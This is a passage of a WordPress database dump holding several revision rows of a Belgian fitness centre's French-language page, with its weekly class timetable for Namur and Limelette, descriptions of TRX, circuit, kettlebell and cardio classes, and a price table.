class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\nTRX&lt;/td&gt;\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\nGLFE&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\nGLFE&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\nTRX&lt;/td&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\nCARDIO&lt;/td&gt;\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\nRIP-KETTLE&lt;/td&gt;\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\nGLFE&lt;/td&gt;\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\nGLFE&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\nTRX&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\nRIP-KETTLE&lt;/td&gt;\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\nGLFE&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\nTRX&lt;/td&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\nCARDIO&lt;/td&gt;\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\nRIP-KETTLE&lt;/td&gt;\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\nRIP-KETTLE&lt;/td&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\nCARDIO&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\nCARDIO&lt;/td&gt;\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\nRIP-KETTLE&lt;/td&gt;\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\nGLFE&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\nTRX&lt;/td&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\nCARDIO&lt;/td&gt;\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&amp;nbsp;\n\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\n\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\n\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\n\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\n&lt;h2&gt;&lt;/h2&gt;\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nEntrainements à deux personnes sous la supervision d’un coach.\n&lt;h2&gt;&lt;/h2&gt;\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nUn coach par personne, l’idéal pour progresser plus rapidement!\n&lt;h2&gt;&lt;/h2&gt;\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nRendez-vous avec une diététicienne pour améliorer votre santé.\n&lt;h2&gt;&lt;/h2&gt;\n&lt;h2&gt;Prix&lt;/h2&gt;\n&lt;table&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\n1 carte de 10 séances : 80.00€ (valable 3 mois)\n1 carte de 20 séances : 120.00€ (valable 4 mois)\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\nSuivi 15,00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '11-autosave-v1', '', '', '2013-11-03 09:05:19', '2013-11-03 09:05:19', '', 11, 'http://www2.crosstrainingcenter.be/11-autosave-v1/', 0, 'revision', '', 0),
(403, 1, '2013-11-03 09:06:09', '2013-11-03 09:06:09', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi_hover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-03 09:06:09', '2013-11-03 09:06:09', '', 11, 'http://www2.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(402, 1, '2013-11-03 09:05:29', '2013-11-03 09:05:29', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; background-color: #efefef;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-03 09:05:29', '2013-11-03 09:05:29', '', 11, 'http://www2.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(409, 1, '2013-11-03 09:18:15', '2013-11-03 09:18:15', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td 